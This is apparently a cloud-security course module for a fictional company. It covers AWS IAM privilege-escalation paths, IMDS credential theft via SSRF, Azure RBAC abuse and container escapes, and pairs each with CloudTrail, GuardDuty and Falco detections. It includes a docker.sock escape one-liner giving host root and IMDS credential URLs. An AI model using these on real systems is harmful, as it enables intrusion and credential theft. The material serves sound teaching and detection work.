- Chapter 2: AWS IAM Privilege Escalation Paths
- Chapter 3: IMDS v1 vs v2
- Chapter 4: Azure RBAC
- Chapter 5: Container Security Model
- Chapter 6: Container Escape Paths
- Chapter 7: CloudTrail and Activity Log Telemetry
- Chapter 8: Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes
- Interview Q&A
- References
Chapter 1: Cloud IAM Mental Model
What IAM is, from zero
Identity and Access Management (IAM) is the authorization layer between a principal (who is
making a request) and a resource (what they are trying to act on). Every API call in AWS —
whether it comes from a human logging into the console, a Lambda function running in us-east-1,
or a CI/CD runner calling s3:PutObject — is evaluated by IAM before the service processes it.
A principal is anything that can make an authenticated request: an IAM user, an IAM role (assumed by a service or a human), an AWS service acting on your behalf, or a federated identity from an external IdP. Principals are identified by their ARN (Amazon Resource Name).
ARN format:
arn:partition:service:region:account-id:resource-type/resource-id
Examples:
arn:aws:iam::114700000000:user/alice
arn:aws:iam::114700000000:role/meridian-cicd-runner
arn:aws:iam::114700000000:policy/AdminPolicy
arn:aws:s3:::meridian-freight-manifests
The region field is empty for IAM resources because IAM is global. The account ID is the 12-digit AWS account number.
Policy types
AWS has six policy types, evaluated in a strict order:
| # | Type | Who attaches it | Scope |
|---|---|---|---|
| 1 | Service Control Policy (SCP) | AWS Organizations (management account) | All principals in OU or account |
| 2 | Resource-based policy | Resource owner | Who can access the resource |
| 3 | Identity-based policy | Principal (inline or managed) | What the principal can do |
| 4 | Permission boundary | Administrator on the principal | Maximum allowed, not granted |
| 5 | Session policy | Caller at sts:AssumeRole time | Limit a session's effective permissions |
| 6 | VPC endpoint policy | VPC endpoint | Requests through that endpoint only |
The golden rule: deny always wins
The evaluation logic has one overriding rule: an explicit Deny in any applicable policy always wins, regardless of how many Allows exist elsewhere. The order of evaluation is:
- If any policy has an explicit Deny matching the action+resource → DENY (final).
- If no Deny, is there an explicit Allow in any applicable policy? → potential ALLOW.
- If no Allow → implicit DENY (default).
But the evaluation happens in layers:
Request arrives
│
▼
┌─────────────────────────────────────────────────────┐
│ Layer 1: SCP evaluation │
│ Does the organization SCP allow this action? │
│ NO → DENY (end) YES → continue │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Layer 2: Resource-based policy │
│ Does the resource have a policy? Does it Allow? │
│ Explicit Deny → DENY (end) │
│ Explicit Allow (and no SCP block) → ALLOW (end) │
│ Not present or no Allow → continue │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Layer 3: Identity-based policy │
│ Does the principal's policy Allow this action? │
│ Explicit Deny → DENY (end) │
│ No Allow → implicit DENY (end) │
│ Allow → continue to boundaries │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Layer 4: Permission boundary (if set) │
│ Does the boundary also Allow this action? │
│ NO → DENY YES → continue │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Layer 5: Session policy (if AssumeRole was used) │
│ Does the session policy also Allow? │
│ NO → DENY YES → ALLOW (final) │
└─────────────────────────────────────────────────────┘
Key insight for attackers and defenders alike: SCPs are the organization-wide ceiling. A
developer cannot grant themselves more than the SCP allows, no matter how permissive their
identity policy is. But most organizations do not use SCPs for fine-grained control — they set
a coarse "Effect": "Deny", "Action": "organizations:LeaveOrganization" and call it done, which
means the identity-based policy layer is where the real escalation happens.
Resource vs identity policies
Identity-based policy — attached to the principal (user, role, group). Answers: "what can this
principal do?" Example: a policy attached to meridian-cicd-runner that allows s3:PutObject on
arn:aws:s3:::meridian-artifacts/*.
Resource-based policy — attached to the resource itself. Answers: "who can access this resource?" S3 bucket policies, KMS key policies, SQS queue policies, Lambda function policies are all resource-based. They can grant cross-account access directly without requiring the other account to have an identity-based policy that mirrors it.
The cross-account exception: For cross-account access, BOTH the resource-based policy (which must allow the foreign principal) AND the identity-based policy in the foreign account (which must allow the action) must agree. For same-account access, a resource-based policy Allow alone is sufficient without a matching identity-based policy.
Condition keys
Policies can have Condition blocks that restrict when the Allow or Deny applies. Common
condition keys used in defensive policies:
aws:RequestedRegion— restrict to specific regionsaws:SourceVpcandaws:SourceVpce— restrict to calls from a specific VPCaws:MultiFactorAuthPresent— require MFAaws:PrincipalTag/CostCenter— tag-based ABACiam:PassedToService— restrict what services a role can be passed to
From an attacker's perspective, conditions are bypass opportunities. A policy that says
"Condition": {"StringEquals": {"aws:RequestedRegion": "us-east-1"}} only applies to us-east-1
requests — the same action in eu-west-1 may be unconstrained.
Chapter 2: AWS IAM Privilege Escalation Paths
Privilege escalation in AWS IAM does not require a vulnerability in AWS itself. It requires only that an identity has one or more permissions that, individually, sound harmless but in combination allow creating or modifying a policy to grant admin access. These paths were systematically catalogued by Rhino Security Labs (see References).
The key insight: any permission that lets you modify policy attachments or create new policy versions is a privilege-escalation primitive.
Path 1: iam:CreatePolicyVersion
What you need: iam:CreatePolicyVersion on a managed policy that is attached to any principal
with broad permissions (or that you can attach to yourself).
What you do: Create a new version of an existing managed policy with "Action": "*" and
"Resource": "*", and set it as the default version. The policy now grants admin to everything
it is attached to.
CloudTrail event: CreatePolicyVersion in iam.amazonaws.com. The request parameters
include the policy ARN and the new policy document. The response includes the new version ID.
Detection signal: CreatePolicyVersion events where the policy document contains "*" in
Action or Resource are extremely high-signal. GuardDuty has a finding for this:
Policy:IAMUser/RootCredentialUsage (adjacent). A custom CloudTrail Insights alert on
CreatePolicyVersion by non-automation principals catches most cases.
Path 2: iam:AttachUserPolicy
What you need: iam:AttachUserPolicy (optionally scoped to Resource: "*").
What you do: Attach the AWS-managed AdministratorAccess policy
(arn:aws:iam::aws:policy/AdministratorAccess) to yourself or to a user you control.
CloudTrail event: AttachUserPolicy in iam.amazonaws.com. Request parameters include
userName (the target) and policyArn.
Detection signal: Any AttachUserPolicy event where policyArn contains AdministratorAccess
or the attaching principal is not a known administrative automation role is a critical alert.
This is one of the most obvious escalations — it appears in CloudTrail with both the actor and
the target user in the same event.
Path 3: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
What you need: iam:PassRole on a high-privileged role, lambda:CreateFunction, and
lambda:InvokeFunction.
What you do: Create a Lambda function and pass it a privileged IAM role as its execution
role. The Lambda function then runs as that role. Invoke the function with a payload that
calls iam:AttachUserPolicy or iam:CreatePolicyVersion on behalf of the privileged role.
The privilege escalation happens inside Lambda, attributed to the Lambda function's ARN.
CloudTrail events (sequence):
PassRole— logged as an IAM event in therequestParametersofCreateFunctionCreateFunctioninlambda.amazonaws.comInvokeFunctioninlambda.amazonaws.com- Inside the Lambda: the actual IAM write (e.g.,
AttachUserPolicy) attributed to the Lambda function's role, not the original attacker ARN.
Detection signal: This is a multi-step chain. The key detection is correlating
CreateFunction (where role in requestParameters is a high-privilege role ARN) with
subsequent IAM writes attributed to that Lambda function's ARN. Lambda creation by non-standard
principals should alert.
Path 4: iam:CreateLoginProfile
What you need: iam:CreateLoginProfile on IAM users.
What you do: Create a console-access login profile (username + password) for an IAM user that has no login profile configured but has high-privilege policies attached. You then log in as that user via the AWS console.
CloudTrail event: CreateLoginProfile in iam.amazonaws.com. Request parameters include
userName. No password is logged (AWS sanitizes it).
Detection signal: CreateLoginProfile events for users that previously had no console access.
GuardDuty's UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B (console login from unusual IP)
is the downstream signal. The CreateLoginProfile call itself is the earlier, higher-confidence
indicator.
Path 5: sts:AssumeRole chains
What you need: sts:AssumeRole on a role, and that role has permissions not available to
your current principal. Chains of AssumeRole let you hop across accounts or assume roles with
broader permissions.
What you do: Assume a role, use that role's permissions (including potentially another
sts:AssumeRole), and repeat. In Meridian Freight's environment, meridian-cicd-runner can
assume meridian-deploy-staging, which can assume meridian-ops-admin in the production account.
CloudTrail events: One AssumeRole event per hop in sts.amazonaws.com. Each event logs:
- The
roleArnbeing assumed - The
principalArndoing the assuming - The
sourceIdentity(if set) - The resulting session ARN
Detection signal: Unusual AssumeRole chains — especially cross-account ones — are one of the
highest-value correlation opportunities. A SIEM rule that flags AssumeRole where the source
principal is not in the expected list of automation ARNs catches most human-driven lateral movement.
GuardDuty's UnauthorizedAccess:IAMUser/TorIPCaller and CredentialAccess:IAMUser/AnomalousBehavior
findings are adjacent.
Summary table
| Path | Permission needed | CloudTrail event | Noise level |
|---|---|---|---|
| CreatePolicyVersion | iam:CreatePolicyVersion | CreatePolicyVersion (IAM) | Very high |
| AttachUserPolicy | iam:AttachUserPolicy | AttachUserPolicy (IAM) | Very high |
| PassRole + Lambda | iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction | CreateFunction, InvokeFunction | Medium |
| CreateLoginProfile | iam:CreateLoginProfile | CreateLoginProfile (IAM) | High |
| AssumeRole chain | sts:AssumeRole | AssumeRole (STS) | Low (very common) |
Chapter 3: IMDS v1 vs v2
What IMDS is
The Instance Metadata Service (IMDS) is an HTTP endpoint available from within every EC2 instance
at the link-local address 169.254.169.254. It provides metadata about the instance: the instance
ID, availability zone, security groups, user-data, and — critically — the temporary credentials
for the IAM role attached to the instance (the instance profile).
The credentials endpoint:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
This returns a JSON object containing:
AccessKeyIdSecretAccessKeyToken(the session token for the temporary credentials)Expiration(typically 6 hours from now)
These credentials are equivalent to calling sts:AssumeRole as the instance profile role. If
the role has broad permissions, obtaining these credentials from inside the instance (or from any
process that can reach the IMDS endpoint) gives the attacker those permissions.
IMDSv1: no authentication
IMDSv1 is a simple HTTP GET. Any process on the instance — or any process that can issue HTTP
requests to 169.254.169.254 (e.g., via an SSRF vulnerability in a web application) — can
retrieve the credentials. There is no token, no authentication, no request signing.
SSRF to IMDSv1 credential theft pattern:
- Attacker finds an SSRF vulnerability in a web application running on an EC2 instance.
- Attacker uses the SSRF to make the server request
http://169.254.169.254/latest/meta-data/iam/security-credentials/. - The response lists the role name.
- Attacker fetches
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>. - The response contains AccessKeyId, SecretAccessKey, Token.
- Attacker uses these from outside AWS to make API calls.
This was the exact path in the Capital One breach (2019). SSRF → IMDSv1 → role credentials → S3 data.
IMDSv2: token-based authentication
IMDSv2 requires a two-step process:
Step 1: PUT request to get a session token (TTL-limited):
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
Response body: a token string (opaque, time-limited).
Step 2: GET request with the token in the header:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token>
The critical security property of IMDSv2 is the hop limit. The PUT request to get the token
has a default TTL for the IP packet of hop_limit=1. This means the PUT request cannot be
forwarded — it will be dropped by the first routing hop. A web application receiving an SSRF
request and forwarding it to 169.254.169.254 will fail to get a token, because the request is
coming from the application process, not from a fresh layer-3 hop. The SSRF chain is broken.
When hop limit is set to 2 or higher: The protection is weakened. Requests from containers inside the EC2 instance may need hop_limit=2 if they go through the Docker bridge network. Some EKS configurations set hop_limit=2 as a workaround. This restores the SSRF risk.
What credentials are available
The IAM security credentials response contains:
{
"Code": "Success",
"LastUpdated": "2024-01-15T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2024-01-15T16:00:00Z"
}
The Token field makes these temporary credentials (STS-style). They expire, typically 6 hours
after issuance. The AccessKeyId starts with ASIA (not AKIA which is for long-term user keys).
Detection: IMDS abuse
CloudTrail signals:
- Credentials obtained from IMDS appear in CloudTrail as
userIdentity.type = "AssumedRole"with thearncontaining the instance profile role. If the source IP is not the instance's IP (i.e., the credentials are being used from a different machine), this is a strong signal. GetCallerIdentityis often the first call an attacker makes to confirm credentials work. AGetCallerIdentityfrom an unexpected source IP for an instance-profile role is high-confidence.
VPC flow logs:
- Flows to
169.254.169.254:80from unexpected processes or at unusual times. - In EKS environments, flows from the container network range (e.g.,
10.0.0.0/8) to169.254.169.254indicate a container is reaching IMDS.
Process-level detection:
- Any process in the container namespace making outbound connections to
169.254.169.254should be anomalous if the container has no legitimate need for it. - Falco rule:
fd.sip=169.254.169.254 and container.id != ""fires when a containerized process connects to IMDS.
Chapter 4: Azure RBAC
Scope hierarchy
Azure organizes resources in a four-level scope hierarchy:
Management Groups
└─ Subscriptions
└─ Resource Groups
└─ Resources (VMs, storage accounts, etc.)
Role assignments are made at a scope level. A role assigned at a higher scope (e.g., subscription) is inherited by all child scopes (resource groups, resources). A role assigned at the resource group level only applies to resources in that group.
Meridian Freight Azure layout:
- Management Group:
meridian-freight-root - Subscriptions:
meridian-prod(ERP + TMS),meridian-dev(developer workloads) - Resource Groups:
meridian-freight-rg(compute),meridian-data-rg(storage),meridian-net-rg(networking)
Built-in roles
Azure has three fundamental built-in roles:
| Role | Actions | Effect |
|---|---|---|
Owner | * | Full control including assigning roles to others |
Contributor | * (minus authorization) | Create and manage resources, cannot grant role assignments |
Reader | */read | View all resources, cannot change anything |
There are also over 70 service-specific built-in roles (e.g., Storage Blob Data Contributor,
Key Vault Secrets User). The principle of least privilege demands these over the broad roles.
Custom roles
Custom roles are defined with an Actions list (what is allowed), NotActions (deny-list
subtracted from Actions), DataActions (data plane access), and AssignableScopes (which scopes
the role can be assigned at). Custom roles in Meridian Freight's environment include
meridian-ops-read (read across all resource groups) and meridian-deploy (contributor on
meridian-dev subscription only).
Dangerous permissions
Microsoft.Authorization/roleAssignments/write — This is the Azure equivalent of
iam:AttachUserPolicy. Any principal with this permission can assign themselves (or anyone else)
the Owner role at the scope where they have this permission. If held at the subscription scope,
this is full account compromise.
Microsoft.Compute/virtualMachines/runCommand/action — Allows executing arbitrary shell
commands inside a VM via the Azure portal or API. Even a Reader with this additional permission
can execute code on any VM in scope, bypass network controls, and read files from the VM filesystem
(including secrets, cached credentials, etc.).
Microsoft.KeyVault/vaults/secrets/read and Microsoft.KeyVault/vaults/secrets/getSecret/action
— Access to Key Vault secrets. These may include storage account access keys, database passwords,
or service principal credentials — any of which can enable broader access.
Managed identity
A Managed Identity is a service principal that is automatically managed by Azure and attached to a resource (VM, App Service, Function App, AKS pod). There are two types:
- System-assigned: Tied to the resource lifecycle. Deleted when the resource is deleted.
- User-assigned: Independent resource, can be attached to multiple resources.
From a security perspective, managed identities are credentials without secrets — you never see
the underlying client secret, and Azure handles rotation. But they are still principals with RBAC
assignments. If a VM has a system-assigned managed identity with Contributor on the subscription,
any code running on that VM (including code in a compromised container) can call Azure Resource
Manager APIs using the managed identity.
Abuse path: Code running on the VM calls the Azure Instance Metadata Service (IMDS) at
http://169.254.169.254/metadata/identity/oauth2/token to get an access token for the managed
identity. This token can be used to call Azure Resource Manager or any Azure service the managed
identity has access to.
Detection: Azure Activity Log records Microsoft.Authorization/roleAssignments/write events
with the caller's objectId and the new role assignment. Monitor for role assignments made outside
of the infrastructure-as-code pipeline (e.g., Terraform or Bicep runs in CI/CD). Alert on any
Owner or Contributor assignment at subscription or management-group scope.
Chapter 5: Container Security Model
What makes containers "isolated"
Containers are not virtual machines. They run as processes on the host kernel with isolation provided by Linux kernel features: namespaces (which parts of the system a process can see) and cgroups (how many resources a process can consume). Both are kernel primitives that have been available in Linux since 2008 (namespaces) and 2007 (cgroups). Docker and Kubernetes use these primitives to provide the illusion of isolation.
Understanding what each namespace isolates — and what it does not isolate — is prerequisite knowledge for understanding every container escape technique.
Linux namespaces
Linux has 8 namespace types. Docker uses 6 of them by default:
PID namespace — Each container gets its own PID 1 (typically the container's init process).
Processes inside the container cannot see or signal host processes. PID 1 in the container is
a different PID on the host. Escape implication: --pid=host removes this isolation —
the container can see and ptrace all host processes.
Network namespace — The container gets its own network stack: its own interfaces, routing
table, iptables rules, port bindings. eth0 inside the container is a virtual ethernet pair
(veth) connected to the host's bridge (docker0). Escape implication: Host networking
(--network=host) removes this — the container shares the host's network stack and can bind to
host ports directly.
Mount namespace — The container sees a different filesystem root (a copy-on-write overlay).
Host mounts are not visible unless explicitly bind-mounted. Escape implication: Bind-mounting
host paths (e.g., /:/host) into the container allows the container to read/write the host
filesystem. Mounting /var/run/docker.sock is a special case (see Chapter 6).
UTS namespace — The container has its own hostname and domain name. Cosmetic, but it means
hostname inside the container does not return the host's hostname.
IPC namespace — The container has its own System V IPC and POSIX message queues. Prevents inter-process communication between host and container via shared memory.
User namespace — Allows mapping container UIDs to different host UIDs. If enabled, a container running as UID 0 (root) can be mapped to a non-privileged UID on the host. Docker does not enable user namespaces by default. This means root inside the container is root on the host from the perspective of any resource that is accessible (e.g., host-bind-mounted files).
Network namespace limitation: Namespace isolation does not prevent a process from making network connections. A container can still reach the host's network via the Docker bridge gateway and can reach external networks via NAT. Namespace isolation is about visibility and resource ownership, not network filtering — that requires firewall rules (iptables/nftables) or network policies (in Kubernetes).
cgroups
Control groups (cgroups) limit how much of a resource a process can use: CPU time, memory,
block I/O, number of PIDs. A container configured with --memory=512m --cpus=0.5 has a cgroup
that will OOM-kill the container if it tries to allocate more than 512 MB, and will throttle it
to 50% of one CPU core.
cgroups do not provide security isolation — they provide resource isolation. A container with no cgroup limits can consume all host memory (OOM-killing other containers and the host itself), all CPU, and can fork-bomb the host. cgroup limits are a stability and fairness mechanism, not a security boundary.
Capabilities
Linux capabilities divide the monolithic root permission into ~40 distinct privileges. Docker
drops most capabilities by default and only grants a small subset:
Capabilities Docker grants by default:
CAP_CHOWN— change file ownershipCAP_DAC_OVERRIDE— bypass file permission checksCAP_FSETID— allow setting SUID/SGID bitsCAP_FOWNER— bypass permission checks for file operationsCAP_MKNOD— create special filesCAP_NET_RAW— use raw sockets (ping, ARP spoofing)CAP_SETGID,CAP_SETUID— change GIDs/UIDsCAP_SETPCAP— modify process capabilitiesCAP_NET_BIND_SERVICE— bind to ports below 1024CAP_SYS_CHROOT— usechrootCAP_KILL— send signals to any process in namespace
Capabilities Docker drops by default (these are dangerous):
CAP_SYS_ADMIN— the "god capability." Mount filesystems, clone namespaces, load kernel modules, useioctlfor disk operations. If a container has this, most escape techniques work.CAP_SYS_PTRACE— ptrace host processes (if--pid=hostis set).CAP_NET_ADMIN— modify network stack, intercept traffic.CAP_SYS_MODULE— load/unload kernel modules. Loading a malicious kernel module = full host compromise.CAP_SYS_RAWIO— access/dev/mem,/dev/kmem(raw memory access).
Default seccomp profile
Docker applies a seccomp profile by default that blocks ~44 system calls considered dangerous:
keyctl, add_key, request_key (kernel keyring), ptrace, mbind, migrate_pages,
move_pages, set_mempolicy (NUMA controls), perf_event_open, reboot, setns,
unshare, syslog, acct, settimeofday, swapon, swapoff, mount, umount2, etc.
--privileged disables the seccomp profile entirely.
AppArmor and SELinux
Docker applies the docker-default AppArmor profile on systems where AppArmor is available. This
profile denies access to host kernel files, /proc/sysrq-trigger, /proc/sys/kernel/core_pattern,
and other host-level paths, even if the container's UID is root.
SELinux (used on RHEL/CentOS-based hosts) applies type enforcement labels. Containers get the
container_t type, which confines them to container-specific types. Even a container running as
root cannot write to host system files labeled system_u:object_r:lib_t:s0 without an SELinux
policy exception.
--privileged disables AppArmor and SELinux confinement as well.
What --privileged disables
When you run a container with --privileged:
- All Linux capabilities are granted (including
CAP_SYS_ADMIN,CAP_SYS_MODULE,CAP_SYS_RAWIO) - The seccomp filter is removed (all system calls allowed)
- AppArmor and SELinux confinement is disabled
- All host devices (
/dev/*) are accessible inside the container - The container can mount any filesystem that the host kernel supports
The result is that the only remaining isolation is the mount and PID namespace (and user namespace
if enabled). A privileged container with access to /dev/sda (the host disk) can mount the host
filesystem and modify anything. A privileged container can also call unshare --mount to create
a new mount namespace and mount the host filesystem inside it.
Chapter 6: Container Escape Paths
Escape 1: --privileged flag
What it requires: The container was launched with --privileged.
What the attacker does: Inside the privileged container:
- List block devices:
fdisk -lor examine/dev/for block devices (e.g.,/dev/xvda1). - Create a mount point directory inside the container.
- Mount the host root filesystem at the mount point.
- Read or modify any file on the host:
/etc/shadow,/etc/cron.d, SSH authorized_keys, environment files containing secrets, etc. - Write a cron job or systemd unit to execute code as root on the host at next reboot or cron cycle.
The escape does not require any vulnerability — it is a configuration choice that removes the security boundary.
Falco detection:
- rule: Launch Privileged Container
desc: Detect the launch of a container with --privileged flag
condition: >
container.privileged = true and
evt.type = container
output: >
Privileged container launched (user=%user.name container=%container.name
image=%container.image.repository:%container.image.tag)
priority: CRITICAL
tags: [container, privilege_escalation, T1610]
Escape 2: --pid=host
What it requires: The container was launched with --pid=host, sharing the host PID namespace.
What the attacker does:
- Inside the container,
ps auxshows all host processes, including PID 1 (systemdorinit). - With
CAP_SYS_PTRACE(which requires either--privilegedor explicit--cap-add), the attacker can ptrace host processes and inject code. - Even without ptrace, seeing host process names reveals running services, their PIDs, and allows sending signals to host processes.
/proc/<host-pid>/root/from inside the container points to the host's filesystem root for that process, potentially exposing host filesystem paths.
Falco detection:
- rule: Container with Host PID Namespace
desc: Detect containers running with host PID namespace
condition: >
container.host_pid = true and
evt.type = container
output: >
Container launched with host PID namespace (container=%container.name
image=%container.image.repository)
priority: HIGH
tags: [container, privilege_escalation]
Escape 3: Docker socket mounted
What it requires: /var/run/docker.sock bind-mounted into the container.
What the attacker does:
- The Docker socket is the Unix socket the Docker daemon listens on. Any process with read/write
access to it can send Docker API requests — equivalent to running
dockercommands as root. - Inside the container:
docker -H unix:///var/run/docker.sock run --privileged --pid=host -v /:/host <any-image> chroot /host bashlaunches a new privileged container from inside the compromised container, with the host filesystem mounted. - This effectively gives the attacker root on the host, even if the original container was running as a non-root user with no special capabilities (just the socket access).
This is also a common Kubernetes misconfiguration: DaemonSets for log collectors or monitoring agents are given Docker socket access so they can inspect running containers, but any compromise of that pod results in host compromise.
Falco detection:
- rule: Docker Socket Mounted in Container
desc: Detect container with Docker socket mounted
condition: >
fd.name = /var/run/docker.sock and
evt.type in (open, openat) and
container.id != ""
output: >
Docker socket opened from container (user=%user.name container=%container.name
image=%container.image.repository command=%proc.cmdline)
priority: CRITICAL
tags: [container, privilege_escalation, lateral_movement, T1610]
Escape 4: CAP_SYS_ADMIN
What it requires: Container has the cap_sys_admin capability (either from --privileged
or --cap-add=SYS_ADMIN).
What the attacker does:
mount()system call is allowed: mount the host's cgroup v1release_agentfilesystem, write a path to a writable script, trigger the release_agent with an empty cgroup. This is the "cgroup escape" technique.unshare --mount+mount /dev/<disk>: create a new mount namespace and mount the host disk.- Modify
/proc/sys/kernel/core_patternto redirect core dumps to an attacker-controlled program (arbitrary code execution on core dump).
Falco detection:
- rule: Container with CAP_SYS_ADMIN
desc: Detect container launched with CAP_SYS_ADMIN capability
condition: >
container.caps contains cap_sys_admin and
evt.type = container
output: >
Container launched with CAP_SYS_ADMIN (container=%container.name
image=%container.image.repository)
priority: HIGH
tags: [container, privilege_escalation]
Escape 5: Writable /etc mount
What it requires: The host's /etc (or a path containing sensitive configuration) is
bind-mounted into the container without the :ro (read-only) flag.
What the attacker does:
- Overwrite
/etc/cron.d/<name>with a cron job entry that runs as root on the host. - Overwrite
/etc/sudoersor a file in/etc/sudoers.d/to add the container's user to passwordless sudo. - Overwrite
/etc/ld.so.preloadto inject a shared library that runs as any user the next time any dynamically linked program is executed on the host. - Overwrite SSH configuration to allow password authentication or add keys to
/etc/ssh/authorized_keys(a non-standard path that some configs use).
The attacker does not need any special capabilities for this — just filesystem write access.
Falco detection:
- rule: Write to Sensitive Host Path from Container
desc: Detect writes to sensitive host paths mounted in container
condition: >
container.id != "" and
evt.type in (write, writev, rename, link) and
fd.name pmatch (/etc/cron.d, /etc/sudoers, /etc/ld.so.preload,
/etc/passwd, /etc/shadow)
output: >
Sensitive file write from container (container=%container.name
file=%fd.name command=%proc.cmdline)
priority: HIGH
tags: [container, persistence, T1543]
Chapter 7: CloudTrail and Activity Log Telemetry
CloudTrail event structure
Every API call to an AWS service that is covered by CloudTrail produces a log record (event) in the CloudTrail log. Events are delivered to an S3 bucket (and optionally CloudWatch Logs) in JSON format.
Key fields in every CloudTrail event:
{
"eventVersion": "1.08",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROA...:session-name",
"arn": "arn:aws:sts::114700000000:assumed-role/meridian-cicd-runner/session-name",
"accountId": "114700000000",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "AROA...",
"arn": "arn:aws:iam::114700000000:role/meridian-cicd-runner"
}
}
},
"eventTime": "2024-01-15T14:23:41Z",
"eventSource": "iam.amazonaws.com",
"eventName": "AttachUserPolicy",
"awsRegion": "us-east-1",
"sourceIPAddress": "10.0.1.45",
"requestParameters": {
"userName": "alice",
"policyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
"responseElements": null,
"readOnly": false
}
userIdentity is the most important field for attribution. type can be:
Root— the AWS root accountIAMUser— an IAM user with long-term credentialsAssumedRole— temporary credentials from STS AssumeRole (most services, EC2 instance profiles)FederatedUser— federated identity (SAML, OIDC)AWSService— an AWS service acting on behalf of the account
eventName is the specific API action. This is what you correlate in your SIEM.
readOnly is true for read-only actions (List*, Describe*, Get*). Write actions
have readOnly: false — these are higher priority alerts.
Key events for red team activity
| eventName | eventSource | Significance |
|---|---|---|
AssumeRole | sts.amazonaws.com | Role assumption; log the roleArn and principalArn |
GetCallerIdentity | sts.amazonaws.com | First call by attacker confirming credentials; anomalous source IP = alert |
ListBuckets | s3.amazonaws.com | Reconnaissance; triggered by stolen creds being explored |
CreatePolicyVersion | iam.amazonaws.com | High-signal privesc attempt |
AttachUserPolicy | iam.amazonaws.com | High-signal privesc; log policyArn |
CreateLoginProfile | iam.amazonaws.com | Persistence; creating console access for a user |
CreateFunction | lambda.amazonaws.com | Lateral movement via Lambda |
GetSecretValue | secretsmanager.amazonaws.com | Credential theft from Secrets Manager |
RunInstances | ec2.amazonaws.com | Infrastructure abuse; cryptomining, C2 setup |
UpdateLoginProfile | iam.amazonaws.com | Password change for another user — backdoor |
GuardDuty findings
AWS GuardDuty is a threat detection service that consumes CloudTrail, VPC flow logs, and DNS query logs to produce finding objects. Key findings relevant to cloud red team:
CredentialAccess:IAMUser/AnomalousBehavior— API calls that deviate from a learned baselineUnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B— console login from unusual geographyRecon:IAMUser/TorIPCaller— API calls from a Tor exit nodePrivilegeEscalation:IAMUser/AdministrativePermissions— attempts to grant broader permissionsUnauthorizedAccess:EC2/MetaDataDNSRebind— DNS rebinding to reach IMDS
CloudTrail Insights
CloudTrail Insights detects unusual write API call rates for an account. If an account normally
makes 5 CreatePolicyVersion calls per day and suddenly makes 50 in an hour, Insights generates
a finding. This provides anomaly-based detection on top of the rule-based GuardDuty findings.
SIEM correlation rules
Effective SIEM rules for cloud red team detection:
GetCallerIdentitywithin 60 seconds ofAssumeRolefrom a new source IP → credential theft verificationAttachUserPolicyorCreatePolicyVersionby any principal that is not an IaC automation ARN → privesc attemptAssumeRolechain depth > 2 (role A assumes role B which assumes role C) from a human session → lateral movementCreateFunctionwhereroleARN in request parameters has broad permissions → Lambda-based privesc setup- Any IAM write action from an IP outside the corporate egress range → stolen credentials in use
Chapter 8: Misconceptions
Misconception 1: "Root inside a container is not root on the host"
This is partly true and largely dangerous. Without user namespace remapping (which Docker does not enable by default), UID 0 inside the container is UID 0 on the host for any resource that leaks across the namespace boundary. A bind-mounted host path owned by root is fully writable by a root container process. The correct statement is: root inside a container that has no additional isolation (no user namespace, no AppArmor, writable host mounts) is effectively root on the host for those mounted resources.
Misconception 2: "The IMDS endpoint is only accessible from inside the VM"
IMDSv1 is accessible from any process that can reach 169.254.169.254. This includes:
- Application code running on the EC2 instance (obviously)
- A web application with an SSRF vulnerability on the instance
- A container running on the EC2 node if it can route to the link-local range
- A Lambda function (which has its own IMDS)
The restriction is network-level, not authentication-level. IMDSv2 adds authentication (the token requirement) as a second line of defense.
Misconception 3: "IAM permission boundaries prevent privilege escalation"
Permission boundaries limit what an identity can do, but they must be explicitly set. An
administrator who creates a new IAM user without setting a permission boundary leaves that user
with only their identity-based policy as the ceiling. More importantly, if an attacker can
create a new role (with iam:CreateRole) they choose not to set a boundary on that new role.
The boundary only restricts the identity it is attached to — the attacker creates a new identity
without one.
Misconception 4: "GuardDuty catches all attacks in real time"
GuardDuty has alerting latency (typically 5-15 minutes) and uses a 14-day baseline period for anomaly detection. A new attacker using credentials for the first time has no baseline — GuardDuty will not generate an anomaly finding until the behavior deviates from the learned pattern, which requires a pattern to have been learned. Rule-based findings (e.g., Tor exit node caller) are faster but require the attacker to use flagged infrastructure.
Misconception 5: "Container images are immutable, so containers are secure"
Image immutability means the base image layers cannot be changed after build — it says nothing
about runtime security. A container running an immutable image can still be launched with
--privileged, with host mounts, with the Docker socket, or with dangerous capabilities. The
image layer and the container runtime configuration are orthogonal security dimensions.
Misconception 6: "Secrets Manager and Parameter Store are always safer than environment variables"
Secrets Manager and Parameter Store are safer for storage (no cleartext in Dockerfiles or source
control). But at runtime, the secret must be fetched and made available to the application — often
as an environment variable. A container compromise that allows reading /proc/1/environ (the
environment of PID 1) will reveal secrets regardless of how they were stored. The improvement is
in storage and auditability (Secrets Manager logs every GetSecretValue to CloudTrail), not in
runtime isolation.
Misconception 7: "A read-only container filesystem prevents container escape"
Read-only filesystems (--read-only) prevent writes to the container's layered filesystem.
They do not prevent:
- Writing to explicitly mounted writable volumes (including host bind-mounts)
- Network operations
- System calls that don't require filesystem writes
- Capability-based escapes (
cap_sys_adminmount operations use syscalls, not writes)
Read-only filesystem is a defense-in-depth measure for persistence, not a container boundary.
Lab Walkthrough
Lab 01: Cloud IAM Attack Path Solver
Goal: Given a synthetic IAM permission graph, implement:
